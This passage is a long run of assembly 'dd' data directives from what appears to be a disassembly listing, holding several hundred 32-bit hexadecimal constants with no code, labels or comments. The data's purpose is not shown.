		dd 2AB8B1Ah, 0A99EF36Eh, 0EC801E18h, 0A5268FA3h, 15E62700h
		dd 9981CA94h, 77D804BAh, 81A36719h, 62E0AC00h, 7AD01004h
		dd 6EC06600h, 0E42E745Bh, 0F2486000h, 943CB608h, 7BE4EBBFh
		dd 8C1C0288h, 84123A1Bh, 99410DE0h, 8052983Ch, 9C4B44E9h
		dd 3A9B3B1h, 0DDF046A0h, 0E1F0C9A5h, 99067FFCh,	1A1F52DAh
		dd 0BC240040h, 9559B6A1h, 0C5B0AF7Ch, 2F71D000h, 78C4C0DDh
		dd 0A01C1DF5h, 912D8055h, 0C1FF3431h, 0F0012F00h, 0CD4EF21Bh
		dd 886C50F7h, 7E9A0365h, 5ACCDCF1h, 4861A698h, 70AB203h
		dd 0C0A96028h, 5D945Fh,	3AFC1A2h, 0EBB3F664h, 851F64B2h
		dd 4440134Eh, 0DC7E4676h, 49510011h, 629977EAh,	670037CEh
		dd 8AF88EF0h, 12E856Ch,	575E6479h, 0DCDA063Bh, 5901F244h
		dd 0D2C0FAD8h, 80242F2Ah, 28474CF4h, 5C46E900h,	0B10FF8A9h
		dd 0D9F3990Fh, 0F9BE804Eh, 12C86837h, 60AABC70h, 5BC56190h
		dd 0D4019BE4h, 70766244h, 8460EBE5h, 0D96D0BC1h, 61867E1Dh
		dd 0E40398BEh, 0DC715799h, 80668ADDh, 89FDB6F8h, 9AEB0060h
		dd 16F8DE29h, 0D200C1FBh, 50D092C7h, 4D545373h,	0A0046043h
		dd 906A5605h, 11CAFDE4h, 0B73E927Ch, 26E312E0h,	0B25F42Ch
		dd 46F1F728h, 29B57480h, 927B7BB4h, 0E41F300h, 2D26FFFAh
		dd 8417019Bh, 4771D204h, 0AE48246Eh, 5C297498h,	710444B7h
		dd 18C06BFEh, 92B3C141h, 166A04E8h, 0DC2C1F3Fh,	8EF4C010h
		dd 75901500h, 7CDB511Ch, 178DC97h, 19059A64h, 44C3ECE6h
		dd 0E4D7B400h, 890F0221h, 0B1FD26F9h, 0A1023C80h, 499F77A7h
		dd 0C89842E0h, 6379BE61h, 68E83D1Bh, 9890B8h, 15E8518h
		dd 12303A64h, 0C236BD00h, 9B0AA666h, 23A509C6h,	1F002ED7h
		dd 0CE78636Ah, 7C92E40Bh, 3C000A6Bh, 9C008B9Eh,	6E3591F9h
		dd 0C8A01CFFh, 2C4600EEh, 941874D3h, 54177CB8h,	5C004E99h
		dd 0A2339348h, 0BC170171h, 2C8B7522h, 0EA19F828h, 0A4D4AA00h
		dd 0F1BF2BA3h, 0ADB20044h, 31796F9Eh, 961CDADEh, 48408615h
		dd 0AACD60EEh, 0E4A44C66h, 0FDFE6C01h, 0F0EC4937h, 4007D9Ch
		dd 36B7AA5Ch, 1F4E4C22h, 9F2F27F0h, 0C0B49D71h,	5A3EE999h
		dd 7090F2ABh, 0C2450803h, 9D8DBFDDh, 5C5FBB01h,	52F50380h
		dd 347460h, 48C43126h, 0B920A18Eh, 0B724680Eh, 3200B257h
		dd 61817D04h, 0B51F2D2h, 9959622Bh, 0D826DA00h,	1000FC2Ch
		dd 34AA35F2h, 2535755h,	9F2EBD5Ch, 0A4C09C5Fh, 45004A4Eh
		dd 827019C5h, 3358374h,	377C6F65h, 0AF999D90h, 0D394306Ah
		dd 44DC8500h, 74B753F1h, 0C6C5073Ah, 2028B865h,	0B6EB729Ch
		dd 38BED900h, 0FAA6C416h, 4BBA05E1h, 0C0F46757h, 19648DACh
		dd 6BF53Ah, 21342AECh, 2E292A6h, 11D02867h, 50484AEFh
		dd 6C01A4DAh, 0B376F498h, 0C031079Bh, 506D93C0h, 7253A00Dh
		dd 0DEBF0F86h, 8542C41Fh, 90E088FDh, 75397D18h,	67929E0Fh
		dd 76B60C80h, 50B5B3FFh, 5825A057h, 0FC0004CFh,	674C8237h
		dd 80F0A6CEh, 0F0B47F2Ah, 934984Dh, 87FDB91Bh, 0D6812BC8h
		dd 7F70E6C7h, 9B1900F4h, 9C9579F2h, 0C1166C5Fh,	0ABBE92h
		dd 0E0B32162h, 0DE095B67h, 8057D11Bh, 72FB3EE6h, 27E600A7h
		dd 9D7426FCh, 4103C6A4h, 210685B2h, 870FE0A1h, 0FC654C77h
		dd 0A69E3403h, 0CAD08DBBh, 0F400C444h, 0F8903293h, 1626C3CCh
		dd 1FE0DA96h, 43AB09BBh, 5374B900h, 0BC02FE3Fh,	0F71A4A47h
		dd 355CE12Dh, 0E2F16560h, 0F044120Ch, 3AC4082h,	2C4D33E6h
		dd 744F1900h, 9C587A22h, 0F5A7397h, 0D3CFA6E8h,	5B0E47FEh
		dd 9580109Ah, 8A0E4CFDh, 0C08F1BEAh, 25FCF53Ch,	1273B4h
		dd 0E6489C51h, 0D4C0E3DFh, 92464D00h, 7379BB9Eh, 7090EAh
		dd 0F5D81C93h, 0BA097184h, 6004B8A4h, 0F83388EAh, 2FBCDCC0h
		dd 19B03317h, 0A2A8E611h, 2300F9CEh, 0E5F8E4Dh,	481D5D32h
		dd 0CD25FC7Ah, 0B6020EDCh, 0C0625C7Eh, 1AF3C78h, 4E132BBCh
		dd 0FC72B9A7h, 0AD39CE4Bh, 38048010h, 690765D0h, 952500B1h
		dd 551E6120h, 0D301087Fh, 0E9F304EDh, 0C0309621h, 0D1800039h
		dd 307CE52Eh, 0B1000588h, 0CF4B7B57h, 21D4D5Fh,	0ABCA9594h
		dd 808585DBh, 2EA8C075h, 600912Ch, 47792487h, 772E97Ch
		dd 0BCF064C7h, 68C88138h, 0F642378h, 8024B0B7h,	9B81A220h
		dd 86E31793h, 0AE5C1826h, 5100F7DBh, 48A41E15h,	3D662858h
		dd 610096E2h, 982DD8EBh, 0C5002F33h, 187B0DE9h,	0A3B360h
		dd 0D55CDF9Bh, 0F72288B1h, 0B09D0C00h, 87F2C8EEh, 0A8D40013h
		dd 2FA930CAh, 9F0002B2h, 0E90BF93Bh, 1C6A59DCh,	0A667B3h
		dd 2B7E1005h, 791CC58Bh, 700669Ah, 0F63A88D5h, 0BCEB3EFFh
		dd 4A9CC70Fh, 0E78B9C2h, 0C799BCE9h, 0AF6126E8h, 43A99F00h
		dd 0AE5370E8h, 0F8E700F6h, 0B5725E21h, 1D580ED9h, 10890170h
		dd 0F9B6CA3Dh, 114C270h, 9DF4C073h, 6BFD7C3Eh, 0E7F4DCE1h
		dd 0FF88034Bh, 73FCD460h, 0F27851E8h, 0EECC703h, 0D8654558h
		dd 33CF323h, 0E4508B84h, 997D6FD4h, 0A039B414h,	8FB87AF4h
		dd 776AF200h, 0AF312260h, 10B250ECh, 6FEA00E5h,	60743AF1h
		dd 773A65E4h, 20C7044Ah, 24D04E23h, 1C9A2CCDh, 805C7FEDh
		dd 8253078Bh, 0A0003CC5h, 0FCE376A7h, 30B4116h,	0D26FDBE4h
		dd 60506704h, 5FB808C5h, 0A1687730h, 41BCDAA7h,	42A0E098h
		dd 13CFE301h, 0DBEE6E39h, 1E056440h, 817C1F53h,	1113808Fh
		dd 400D7E6Eh, 9A2EEB18h, 201E41h, 893E64Eh, 67A611D6h
		dd 2E0024B8h, 9E1AF1E7h, 3BFACCh, 0D8F018Dh, 9FD4EED2h
		dd 87766D28h, 23D7900h,	34DF9A58h, 0E718C001h, 45965B0h
		dd 0FC3B617Ch, 0EC0F06E6h, 132082B8h, 794AECAh,	0D15A513Ch
		dd 304CD16Bh, 4E002208h, 5296412Ah, 30A0023Fh, 0D018C3ECh
		dd 5C1F9F21h, 10FA831h,	0E73A03DCh, 0DEAEC067h,	28C86069h
		dd 0CCADCB63h, 1A26400h, 0F3B9054Eh, 0A5510733h, 0C6635E2Ch
		dd 10E0966h, 9F9D6419h,	26183EECh, 0D94DB51h, 0C0087157h
		dd 0F8A1DD70h, 4A90D17Fh, 2538D218h, 63E48F41h,	0C5D87AB8h
		dd 2200487Ch, 268A58E3h, 1F5A9B34h, 246BBBh, 1E9CAC49h
		dd 8E682E6Ah, 0D9006060h, 0A1187788h, 0AB160701h, 90DA8199h
		dd 0A6376459h, 8B91F300h, 4730FED9h, 51FF20AAh,	0BB4C7100h
		dd 3826AE37h, 98F4BFh, 0CF501528h, 967C9D91h, 48F88A0Bh
		dd 44A741BDh, 0F8908C43h, 0C8EB6E7h, 19476527h,	0E000BBA0h
		dd 0D9BE96A3h, 0F59741h, 26A7A589h, 272F15EAh, 6F0F2378h
		dd 2025FD31h, 734DC16h
		dd 648F0056h, 5C8C9B62h, 91F08314h, 72CB8401h, 0AEF8D625h
		dd 1825DD4h, 0F9C9AACEh, 40576BE1h, 8B0B51A0h, 9C89D800h
		dd 4BCC58Fh, 98C2EA85h,	245D022Bh, 0F8ACCA15h, 9A47E8A0h
		dd 6D182E84h, 2240A38Ah, 7EF45Eh, 7038E615h, 6702BB59h
		dd 2F60D800h, 5C8136Bh,	0C68B00AFh, 599610FFh, 8A783CFAh
		dd 0B32B0600h, 49A84F5Eh, 0C1F11E99h, 0BA1004B4h, 8590800Ch
		dd 941ECD7Bh, 78000187h, 0F956FAE5h, 40650C81h,	8A084329h
		dd 92BE21C0h, 99DDFAh, 0CBE973F6h, 25690B31h, 1F58CE67h
		dd 0B10C03EEh, 98601E22h, 0AF448787h, 61110C3Ch, 0E7532F00h
		dd 8375F854h, 78813A8Ch, 0CE21BD32h, 0E6307AE0h, 0F85C9700h
		dd 0A8723C6Fh, 0D20E1801h, 0FF50D05Dh, 747E5F00h, 0A2B530B8h
		dd 0C30B03F7h, 0F5D37556h, 8F11E1E8h, 0CBEBA01h, 3A00E4Fh
		dd 41DC1885h, 0C9C10023h, 6FB86345h, 7F2DB204h,	12C0D1E9h
		dd 17F34Dh, 0DFF69424h,	6C82698Bh, 6664A600h, 4DCC9272h
		dd 0A7E9004Bh, 0C811400Eh, 5C0013E3h, 1433201Ah, 1CCDA9B5h
		dd 1FCE0851h, 0B38A8112h, 0C4D7B203h, 6A0149FFh, 2DED40Fh
		dd 54F4B794h, 585D0016h, 47FCABDBh, 0F3F2E05Bh,	0B6E6AE00h
		dd 0B8B9FB57h, 733A006Ah, 89840904h, 0DF71594Ch, 26CA931Ch
		dd 0ACE87943h, 900A8050h, 0B2A20009h, 11548F03h, 750052E2h
		dd 8CE034A3h, 3F1BEDh, 43229EBDh, 5C6AF642h, 0CF316900h
		dd 1CC18393h, 0EADD0061h, 0B5B6705Ah, 0A20C0A3Fh, 580CE4B3h
		dd 8D8900C3h, 68206D85h, 9400EEF1h, 0F80B9543h,	77C0935Bh
		dd 9B760061h, 0FD3DA46Ah, 0DF0CE1E2h, 10DE6401h, 49AF01B1h
		dd 0A476855h, 3C808075h, 4A877EC5h, 6BE20F03h, 0F0C0C3B1h
		dd 90DD4CF7h, 8F15FB00h, 47E6AFDAh, 1B57008Bh, 0D36B0281h
		dd 59001098h, 693E6CADh, 60C90C0Fh, 33A240EAh, 520F7628h
		dd 60E23A83h, 0F94EF81h, 51B0C098h, 0AEB8160Ah,	0BA439A03h
		dd 0A84DC14Ah, 0C9B541h, 134C17BCh, 2DE05D79h, 0C0C21900h
		dd 0AD77011Ah, 0FC5E76C7h, 1F550376h, 0C459F374h, 696A0800h
		dd 8E84F654h, 364D286Eh, 1C18C0C9h, 88459486h, 8100E470h
		dd 0F7FAD48Eh, 0B19D7C4h, 0F862E16Ah, 5151D00h,	4603F277h
		dd 0A20DF490h, 0E35CAB78h, 21FDC874h, 345E007Fh, 44C7F3EDh
		dd 0C160D4AEh, 4B68072Eh, 0E99100A2h, 1075B08Eh, 737E6C64h
		dd 78A34A14h, 32F3B804h, 0D210544Eh, 0A8C64FC0h, 39486A3Fh
		dd 5CEB0024h, 0F37E32CBh, 7A58032Bh, 9192D78Dh,	0A4FC2911h
		dd 21D24C11h, 901D08FFh, 542142BAh, 159E308h, 46293E4Eh
		dd 0B19F474h, 2B50600h,	68A7E09Ch, 94911F5Bh, 0A3EE470Ch
		dd 4DA09FA5h, 0BCBEBB3Dh, 0D605B003h, 801CC39Fh, 0A090475Dh
		dd 34F4A9Dh, 0CB3B19A7h, 0F177641Bh, 34E40800h,	4B3E63EAh
		dd 0F77A1Eh, 9D3D68EDh,	0D9F872F6h, 0C2096A00h,	0F93FEFCDh
		dd 0B2910020h, 0EE450E64h, 9B3030F8h, 9E4566Eh,	7D5A30D7h
		dd 0D3701718h, 0EB5EA817h, 0CD50910h, 216CD595h, 0CE420315h
		dd 0A14C84D6h, 830914C0h, 7CB07401h, 0A468336Eh, 0CAF9FCh
		dd 6A2B49A5h, 65D98480h, 0ABF89E01h, 90D4F4DEh,	7598BBC8h
		dd 6A50009Ch, 0CFB82D4Dh, 3004BC6h, 2EAD1D28h, 39264FAAh
		dd 358759A8h, 0BD8806C2h, 5DB6C828h, 1F62BEAh, 8FE08900h
		dd 0FAFF8592h, 0D6110062h, 0F24026B3h, 0F60966BFh, 4C9A20h
		dd 4B50B514h, 482A67D1h, 0FE15B31Ch, 9ABE6800h,	50EE4A9Fh
		dd 1B7A010Dh, 0CF916EDBh, 4809ECBFh, 281EB800h,	0F1A0C169h
		dd 9EEE0094h, 0BF96837h, 3F005FE6h, 5BDB88F6h, 2E8B3Eh
		dd 0AA0F0E55h, 535E9CDEh, 39C24B02h, 602F6920h,	0DDAD9Ah
		dd 0F25CB45Dh, 9128F1D3h, 0DC786100h, 6C446BABh, 0E5D400DBh
		dd 0D08E11A2h, 0FAC038ECh, 74695C0h, 87548DDh, 5DD5DB01h
		dd 0F89CA6EFh, 0E9289717h, 0A1E8608h, 67419843h, 0AFD08980h
		dd 0D5FD20h, 0C5474A05h, 33968E13h, 0FDD3A900h,	26EBE149h
		dd 12A538CBh, 1447F800h, 0F418E9C0h, 9EB85F00h,	0B3B64D7Dh
		dd 0B0B100B9h, 205E48B7h, 9D0023A8h, 515F41A3h,	124246F3h
		dd 0FD261Dh, 69BC2908h,	0EA007860h, 5FF0E5F7h, 6FC155h
		dd 0B5D4EBFEh, 587E53AEh, 1F06851Ch, 0EFF35740h, 0DE9C6h
		dd 0C17BC39Dh, 23C9C5B8h, 0CE8A3Ch, 85CBE533h, 1E0EEF8Dh
		dd 4055295Fh, 61E6B390h, 0C10AB5AEh, 0A7741214h, 36ED0Eh
		dd 3A1C1A3Eh, 350400B6h, 0C6C7A158h, 46002051h,	0BDAB1454h
		dd 0B0BCDEE6h, 0FC650062h, 4D04C892h, 7A12B0ACh, 0FF6FF9h
		dd 0BC72A37Dh, 0C31E70EFh, 0C293C05Bh, 6FFF4400h, 849B0h
		dd 0C1726991h, 802C0315h, 627C9C03h, 941DCDDEh,	0C0E7D80h
		dd 28A20085h, 1951D606h, 0DC00BD75h, 8DA1ADAFh,	84DB29h
		dd 0FA2C37A2h, 344E655Fh, 0CE546D00h, 774264A5h, 9EF8C8h
		dd 2BF8C6EBh, 3C82BFE6h, 9F6CFC00h, 0BDD0531h, 0CAFD1297h
		dd 667803B4h, 3CD07744h, 2500DBC3h, 0E03E8455h,	0BBFAE6h
		dd 0ABD23A5Ah, 0A17A31B4h, 0B2D73300h, 7B885E86h, 5722Bh
		dd 0BB027FECh, 0F74E7AD2h, 9963C70Eh, 0CF352032h, 7EAA777h
		dd 95C68E61h, 0FD397170h, 0B15C30A6h, 55B88F04h, 88D0A142h
		dd 72C12E1h, 0E67376C5h, 0AADD501Bh, 0B35CDC71h, 0CC7D0AA7h
		dd 1680A04Bh, 0E058145Bh, 54CD1C1Fh, 0F08D4060h, 0ABE9A750h
		dd 0C2EB1A00h, 7713466Dh, 980D0097h, 0CBAEF408h, 0E209C9B9h
		dd 88D47Ah, 0B856F048h,	34FE59E1h, 438CB00h, 9634F714h
		dd 0C2838500h, 662F33EBh, 17DC00A0h, 230E3977h,	118E918h
		dd 0FF483B6Ch, 0D1F203B2h, 798C0DCAh, 0A7352BE8h, 8159C012h
		dd 9F771000h, 0FF21B70h, 9E7616CCh, 0E8B6AC00h,	0D626DB82h
		dd 4624427Fh, 5380111Eh, 59A475BCh, 0B9C50016h,	2B26EFAFh
		dd 0CAF29BE2h, 0DF00D87Bh, 0F32FFCFh, 216CA3h, 3130AB80h
		dd 0FA9F7D49h, 74397007h, 0BB80AED5h, 0E8412BDh, 378D14E1h
		dd 0F5E9AC60h, 0C53D953Eh, 22798032h, 919A118Ch, 1D7B0Fh
		dd 851241CFh, 2A9F87C9h, 19CE4604h, 70809BF4h, 123FFEFh
		dd 9CE1B9BAh, 64AEFEC2h, 0D1082B60h, 40C175h, 9CB38CEBh
		dd 0D80091B4h, 0E4F4C7D6h, 856AC2h, 3ED137DDh, 0F1B4B006h
		dd 0EF7020F1h, 3BDE9D21h, 94A0A400h, 0F275AF50h, 18DAF300h
		dd 0AA9C4346h, 0A9D01690h, 7D481D91h, 30BECF8Eh, 71B4BC60h
		dd 327FB75Dh, 0E2054CF6h, 0E702ECC7h, 0D0D2D800h, 7A3BE95h
		dd 0BA8EC4C9h, 0A03957F9h, 0D2ED6C61h, 2F924E00h, 0C9C0669h
		dd 36F800FCh, 5A76605Bh, 0C9004353h, 3E3286A7h,	0FE2CAE90h
		dd 0C0500055h, 0AAA8B91Bh, 7A0FEF54h, 0E1D4A320h, 2FFD407Eh
		dd 482BCCh, 0A77604A4h,	13A56B8Bh, 0DD24B30Fh, 0A6FF00FCh
		dd 3FABB2B7h, 700688Ch,	6EF9FB3Ah, 0AF0033CEh, 3D4E12A0h
		dd 24C86B50h, 805CACDCh, 48A9D1DFh, 0B40080A2h,	0FCF2DB0Bh
		dd 26B7CEF3h, 9C61CFh, 0BB84E85Ch, 0D93FA0D7h, 11E00001h
		dd 2E2F0947h, 0D3DF06ADh, 5037E545h, 0FC0DA026h, 0A431113Dh
		dd 69B2829Ch, 78C30140h, 42D81F8h, 6564381Ch, 0FE050300h
		dd 0E2DE2025h, 6B1E00AAh, 24E8BD9Dh, 7E00931Fh,	0D2D59CFh
		dd 854D82h, 0D7C154B1h,	62BB28Ah, 69019A01h, 1D269DB6h
		dd 1F9279F4h, 433F8889h, 5240EBCh, 9F907087h, 87000D4Ch
		dd 2FE1F11Ch, 56E6CDEh,	32781D0h, 68C10044h, 13A978F3h
		dd 29DA50C7h, 0E959E0E0h
		dd 0E8E853h, 0CF8396C8h, 1F44F3DCh, 3F542200h, 93CE6D1Ah
		dd 870602B3h, 4E034DA4h, 400568C0h, 0FB4BBE00h,	4FBF7355h
		dd 0B5D00052h, 5427D5E8h, 6771FFB4h, 80D1C801h,	8D6C0464h
		dd 0F79820h, 1B18BB7h, 0D99DC919h, 5518CD00h, 0D318498h
		dd 68E500D6h, 0F69430D2h, 7A016DF4h, 9DE2ED0h, 0CDFC78C1h
		dd 89140012h, 879891A6h, 6780286Ah, 0C040F5BDh,	0A9E99Fh
		dd 0AC99E858h, 860BD871h, 199B0D1Eh, 1DEB2D80h,	37BAE9h
		dd 0A5820C97h, 1689073Ch, 5FD3480Bh, 0C0200F70h, 34C5FC8Fh
		dd 303E00DDh, 9536AE11h, 8307A8FEh, 8606F89Ah, 24CA57B0h
		dd 0AEA20143h, 0D0CDB9D8h, 0A6A4604Fh, 10B6CB00h, 0E58E421h
		dd 93420068h, 3388982Fh, 0C900D98Ah, 0CEE85BC5h, 727767h
		dd 0EA59E482h, 0E71FE646h, 69F50803h, 88316516h, 3BD4A5h
		dd 0DD4B9C15h, 0EB106EB3h, 0FC24C500h, 13B0C9D2h, 0B7A0016Bh
		dd 0CBD75A93h, 0FA3885DBh, 0C9C08709h, 49F111h,	0CE0BEBCh
		dd 1664C4B7h, 8A17DE00h, 592140A9h, 8C95000Dh, 750B9E01h
		dd 0F11EDBF9h, 0EEC0F2CEh, 85AA7E7Ah, 0F0F75996h, 0A877803h
		dd 0C09534B6h, 0D7F4B458h, 0EEBED030h, 0EA2757h, 0BCA7D5F8h
		dd 0F025057Bh, 0A9841A00h, 2AEE44B3h, 77C70052h, 0F98FC4ABh
		dd 370FB7BAh, 58E8FA74h, 0C99060h, 33257F7Ch, 16C04D06h
		dd 0A9B8EA18h, 0F0A04B80h, 12FAE810h, 0C374DBCFh, 0B68BF380h
		dd 59354101h, 39346854h, 361CD0h, 8F990B3Dh, 0BDA7CB6Ah
		dd 0B9623A02h, 0F474DE19h, 0FDB5001Eh, 3E352141h, 0FA11CD00h
		dd 0AD517E1Ch, 2AB600E9h, 0BBA86A80h, 0E5006178h, 16904D17h
		dd 0A8993425h, 61AA98Ch, 0B76E4B13h, 0C4782118h, 8FCF060Ch
		dd 3F5A97Fh, 0A5D4ABE7h, 75E86EC0h, 0E80BC5CCh,	0A0F21C11h
		dd 31204A14h, 61353799h, 0CAAE20C8h, 4BF655FEh,	0DFB0E600h
		dd 0A43B286Bh, 0A0110060h, 6744815Bh, 0C63CEA18h, 963F80A8h
		dd 0EB9A7CEFh, 957FA4h,	3B526C66h, 0C46A0B89h, 738D91C0h
		dd 0F5E74A9h, 4BA6CD79h, 105095A2h, 40BB6257h, 22B743h
		dd 5D874913h, 0DBCA63EDh, 4F797B00h, 8A6E05A3h,	508CF391h
		dd 4359706Ah, 0C1BF4800h, 0E33BC655h, 7F1B1D7Ah, 6B0F80F5h
		dd 92ED3822h, 0F352FE0Ah, 0E380DC53h, 11033DFCh, 0B41A01ACh
		dd 4CDE2AE6h, 6E308023h, 1B1D298Dh, 9D452CF5h, 73CD0052h
		dd 7570CCA2h, 3360900h,	0CAE01074h, 5264150Bh, 8903A869h
		dd 0FB382A9Ch, 0EED5BEB8h, 0F11B062Eh, 0FF5C2130h, 885560F7h
		dd 0B26D1009h, 9CC89460h, 0E0660E82h, 0F28A3D3Ch, 98FA1D80h
		dd 52FD21DCh, 0D8E5392Ch, 780E7E13h, 9C18A0F4h,	0F85D8037h
		dd 6D660031h, 0B5ADB783h, 0F600D451h, 0FEEAA5CEh, 72CF8501h
		dd 0F4A9323Bh, 49DAF10h, 0C5C2CE41h, 2F671080h,	1E1220EDh
		dd 3E3D7200h, 8DA8E9EFh, 0CD4C075Bh, 0A360C5B3h, 29EE5162h
		dd 346EE20h, 58295F10h,	0A3B09FABh, 0A200C4FBh,	0F23A8A2Ch
		dd 0F20C372h, 0DA6C497Fh, 18374C80h, 0C000173Fh, 1CE9705Ch
		dd 0DEABD5h, 2F2D14D3h,	0C82CB766h, 0B80FE039h,	83B832h
		dd 9E583CC0h, 0F43878h,	758DADBFh, 6D8F65BDh, 0B2B4F90Eh
		dd 0D37A8319h, 575BB852h, 72820785h, 0F03D53h, 7CCB7836h
		dd 0BE002675h, 9DE155A6h, 904ADh, 0D9A507B8h, 9A7F43D8h
		dd 0CADDD500h, 606E995Eh, 986D0745h, 0F019ADFBh, 876A0304h
		dd 5A0011ECh, 7C6CA25Eh, 101F1ECh, 7943C36Fh, 0D0A4935Bh
		dd 0BC07858Eh, 9CADE5F5h, 0E6B767C0h, 17E30064h, 0CC2062A2h
		dd 3501C85Fh, 0CBAC6EFAh, 0E6F4CDC9h, 1059002Fh, 0FF83F24Dh
		dd 7200C5D2h, 559D2A78h, 0D43882h, 0C76BDD50h, 0EE71B0B8h
		dd 7848A660h, 0DE991Fh,	80EDC16Dh, 0A98BA070h, 10605A00h
		dd 0F14DC8C5h, 0F8A41303h, 0D6A826h, 575C152Ah,	51A23Bh
		dd 10E865A1h, 9BADFAACh, 47373800h, 7F1EF9FEh, 0DA88009Fh
		dd 0D3467C56h, 1817291Dh, 5703DB6Bh, 0D877D12Ch, 0D7F3A6h
		dd 3CA81CBCh, 234DDE81h, 9AF6AF03h, 0C8406E70h,	3F3E2059h
		dd 0DA0F9154h, 6BE05D17h, 0FC35EB75h, 504EB91Eh, 78F9240h
		dd 0CB49B3h, 3BCE3F83h,	0E4268432h, 0F145F700h,	98BF60EBh
		dd 89330130h, 0C6520A7Dh, 0D91AD0ECh, 75135905h, 88807B05h
		dd 44C883h, 50706958h, 31088E68h, 242C9700h, 5DA80220h
		dd 82B039h, 0A1DC444Fh,	8941D5DBh, 5A74C003h, 0D68A8Dh
		dd 0B48194D8h, 0C4F73CF3h, 0A7A8321Fh, 39536F80h, 0BB02ABh
		dd 0E92F9270h, 5C139903h, 0C9D0DB00h, 736D6B8Eh, 24AA0106h
		dd 0B62A235Bh, 3AD7C0A8h, 1DCAB080h, 0F372C2h, 7AC167C9h
		dd 247E51EEh, 0F601C9D3h, 0DF42FF0Bh, 7D998D4h,	0F2C0FC6Dh
		dd 90FE972Dh, 3C867D79h, 11CC4633h, 8E1C80D4h, 83BE00A2h
		dd 19B51540h, 641D7B56h, 80B9CAD8h, 63E086D0h, 262A13h
		dd 61AEF265h, 8187EE27h, 0A892DD00h, 9491236Ch,	0CB45F5D0h
		dd 0F15D7040h, 19009B0h, 0AF0D8266h, 2EA86FD1h,	0D687A0h
		dd 0C25EF539h, 1A518A67h, 540BBA01h, 0AC7A9613h, 956BF040h
		dd 2A2400B0h, 0F8FE52B5h, 0CB01F775h, 0A6789FAAh, 15D0A9E0h
		dd 1798001Fh, 64368407h, 0A490BA8Eh, 87025100h,	0B2906DEFh
		dd 91790F9Eh, 97C34DFAh, 30B0CEFCh, 490086B4h, 0F07DD1Ah
		dd 89135Dh, 8F94E59Ah, 8C023D6h, 0A320DB1Dh, 0E0C3C74Eh
		dd 8A31FCADh, 0C848FFBCh, 45B3A0B5h, 0DFA20026h, 2C8259DCh
		dd 0B63C10ECh, 4E4005AEh, 0BB00AF2Eh, 8A371CC3h, 98DFE53h
		dd 0A48FEC8Eh, 7CCC5400h, 4EFEED5Bh, 5C6E5F1Dh,	98125347h
		dd 0B3F43F01h, 8DD6D8h,	4F7B7C46h, 0E7DC16FAh, 7531F600h
		dd 0FCBB3E94h, 398900F0h, 0BF804271h, 8F00F245h, 9CAFBA98h
		dd 0ADEFDDh, 0D8E5CE7h,	2DA51E84h, 547F687Ah, 0D88BB800h
		dd 0BABCB492h, 1B0200D4h, 89A91DCh, 0DE30AAA5h,	36FD4072h
		dd 64D60043h, 0D1F49512h, 3FEAEB07h, 2B6F260Fh,	689A067h
		dd 8CD2BAh, 0DDAADF3Ah,	0E2611203h, 0CF1B5Ch, 53663E0Dh
		dd 277C962h, 8935273Dh,	1260B672h, 0E00FD8C6h, 0A1896EAh
		dd 83009810h, 4147E6BDh, 1BF1E1E2h, 0FA677FCh, 0E3489D20h
		dd 0B714F760h, 4004CE7h, 468BB406h, 383EAC0h, 0F05D9EDh
		dd 67A89A3Ch, 1D7672DDh, 0D4B74Ch, 70AF4612h, 509989Eh
		dd 4154408Eh, 0B4D0007Bh, 6517CA0Ah, 80D43739h,	7AAC3181h
		dd 0E086B2Bh, 125B3E05h, 0A80DE820h, 4A009C07h,	33343DB0h
		dd 45F27h, 0E5E74F9Bh, 356C48B2h, 37D1F600h, 0FA4C73A4h
		dd 0D95F00C4h, 0CE8647BCh, 0B8713F5Ah, 979B0805h, 8C00FD1Ah
		dd 9CD3604Ah, 8F8C00ACh, 38E2E7ABh, 0EF7DB054h,	0F8798800h
		dd 0BA4D038Eh, 0C14950C1h, 3027817h, 82A609CEh,	0BDC88CCFh
		dd 0AC00BBF0h, 7254C5FEh, 0F6FFADh, 6DF7B90Ch, 96F5E53Dh
		dd 46070FCh, 85719478h,	7148E681h, 0A33A00B5h, 0FB502845h
		dd 0AD3376B8h, 87B328CCh, 97701AB0h, 0B6BF09BEh, 88805C22h
		dd 2E75AD6Eh, 77002474h, 6498F162h, 757E0D35h, 3E2600C1h
		dd 0A227C0B4h, 0E4486A0Ch, 2F7D0084h, 2EB0CAC7h, 0D1490095h
		dd 3C6DDF23h, 0CB00AF13h, 0DC97ED3Bh, 10D1148h,	0FA4D29E4h
		dd 20518371h, 21F6FF18h, 3F2E8C1Eh, 4DD9943h, 0A9C4A0E5h
		dd 0C5E00AFh, 16F3E16h,	86124924h, 0C005631h, 1C612E7Bh
		dd 8A350073h, 50BE23B8h, 0FA741692h, 0C765B716h, 27376043h
		dd 0A1CEB8F4h, 0B327F28h
		dd 0F7E1AC60h, 0EB006DF6h, 68EC1F65h, 55C700E8h, 0CD447FB9h
		dd 0C27BF762h, 456DBF00h, 73F03AF5h, 384F0079h,	8A345126h
		dd 303A5B8Bh, 37A39902h, 0F3E15310h, 190ED0F3h,	26209AB1h
		dd 0BCB4FA33h, 90C01001h, 0D0CBB698h, 0BA03FFA1h, 0E5BBA7B0h
		dd 876E8F3h, 81A300BEh,	7B9E3FEBh, 9100B367h, 0FEDCCB92h
		dd 32B5DECh, 5B97B18Dh,	4802B8A0h, 4A58C97Fh, 68888C11h
		dd 438C3E32h, 0A3F19387h, 8DFEC04Dh, 0C950B205h, 0D6004208h
		dd 0C84AFC3Eh, 63710B14h, 91BCD850h, 0A0A358B2h, 88980823h
		dd 300AB72Eh, 10DA575Eh, 8179DD42h, 0F19EE31Ch,	53E9F4h
		dd 880A22D4h, 0D3C28C3Ah, 60679A0Fh, 17FB402Ah,	30EF11Dh
		dd 5381CEFEh, 3993C02h,	787609Fh, 22006BE0h, 334D3F69h
		dd 11BE4Bh, 7FA25C3Bh, 47A39178h, 2E7EF47Ch, 6E006DEAh
		dd 7EC04009h, 2E5E2288h, 0F34D30h, 4C5FE93Dh, 0FF027ADEh
		dd 0A501CF6Fh, 9A64C106h, 6AAEA040h, 0E676D1h, 39311F3Fh
		dd 66840A5Ah, 0FD933700h, 3BAA91B5h, 1BB3F08Ah,	0F9D67FACh
		dd 0EABE44D8h, 0CF8553Fh, 8F7DC90h, 0CA21C0A0h,	8A9FBE4Ch
		dd 0A34BBA07h, 256007AAh, 78D48B91h, 0FE6B2E15h, 0F45E04DCh
		dd 0D710908Fh, 0A60971E0h, 3970BB6h, 0A2909B66h, 65ECA02Ch
		dd 0C071E6h, 0E7408945h, 30E54C7h, 16013492h, 0A271A96Dh
